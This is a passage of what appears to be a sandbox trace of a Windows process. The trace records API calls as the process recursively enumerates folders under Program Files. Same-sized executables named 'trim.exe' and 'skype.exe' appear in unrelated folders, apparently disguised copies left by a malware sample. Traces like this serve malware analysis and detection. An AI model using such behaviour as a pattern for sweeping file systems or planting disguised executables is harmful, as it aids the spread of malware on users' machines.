ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0244.578] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c485370, ftCreationTime.dwHighDateTime=0x1d546b4, ftLastAccessTime.dwLowDateTime=0x2354f740, ftLastAccessTime.dwHighDateTime=0x1d58526, ftLastWriteTime.dwLowDateTime=0x2354f740, ftLastWriteTime.dwHighDateTime=0x1d58526, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trim.exe", cAlternateFileName="")) returned 1 [0244.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0244.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.578] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.579] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.579] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.579] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.579] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.579] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0244.579] lstrcmpW (lpString1="v3.5", lpString2=".") returned 1 [0244.579] lstrcmpW (lpString1="v3.5", lpString2="..") returned 1 [0244.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0244.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x606108 [0244.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df78 | out: hHeap=0x5b0000) returned 1 [0244.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0244.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.579] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.589] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.589] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.589] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.589] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.589] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0244.589] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1 [0244.589] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1 [0244.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173da8 [0244.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x31fa7f0 [0244.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173da8 | out: hHeap=0x5b0000) returned 1 [0244.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0244.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.589] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.589] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.589] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.589] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.589] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.589] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.589] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0244.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.589] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0244.590] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.590] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.590] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0244.590] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0244.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0244.590] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0244.590] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0244.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.590] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.590] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.590] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0244.591] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0244.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0244.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.591] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.591] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.591] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0244.591] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0244.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df78 | out: hHeap=0x5b0000) returned 1 [0244.591] FindClose (in: hFindFile=0x600410 | out: hFindFile=0x600410) returned 1 [0244.591] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68de88 | out: hHeap=0x5b0000) returned 1 [0244.591] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa0b15330, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b15330, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0244.591] lstrcmpW (lpString1="Microsoft Sync Framework", lpString2=".") returned 1 [0244.591] lstrcmpW (lpString1="Microsoft Sync Framework", lpString2="..") returned 1 [0244.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c8068 [0244.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0244.591] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b958 [0244.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0244.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0244.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b9c0 [0244.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.592] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.592] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.592] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa0b15330, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b15330, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.592] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.592] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.592] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfb154a0, ftCreationTime.dwHighDateTime=0x1d58fb5, ftLastAccessTime.dwLowDateTime=0x53895870, ftLastAccessTime.dwHighDateTime=0x1d56875, ftLastWriteTime.dwLowDateTime=0x53895870, ftLastWriteTime.dwHighDateTime=0x1d56875, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0244.592] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0244.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.592] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.593] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.593] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.593] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.593] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.593] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0244.593] lstrcmpW (lpString1="Documentation", lpString2=".") returned 1 [0244.593] lstrcmpW (lpString1="Documentation", lpString2="..") returned 1 [0244.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0244.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60baf8 [0244.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x658780 [0244.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0244.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0244.593] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.593] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.593] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.593] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.593] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.593] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.593] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.593] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0244.594] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0244.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173da8 [0244.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x31fa7f0 [0244.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173da8 | out: hHeap=0x5b0000) returned 1 [0244.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0244.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.594] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.595] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.595] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.596] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.596] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.596] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1 [0244.596] lstrcmpW (lpString1="License Agreements", lpString2=".") returned 1 [0244.596] lstrcmpW (lpString1="License Agreements", lpString2="..") returned 1 [0244.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0244.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6588b0 [0244.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x2262060 [0244.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0244.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0244.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.597] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.597] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.597] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.597] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.597] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.597] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1 [0244.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 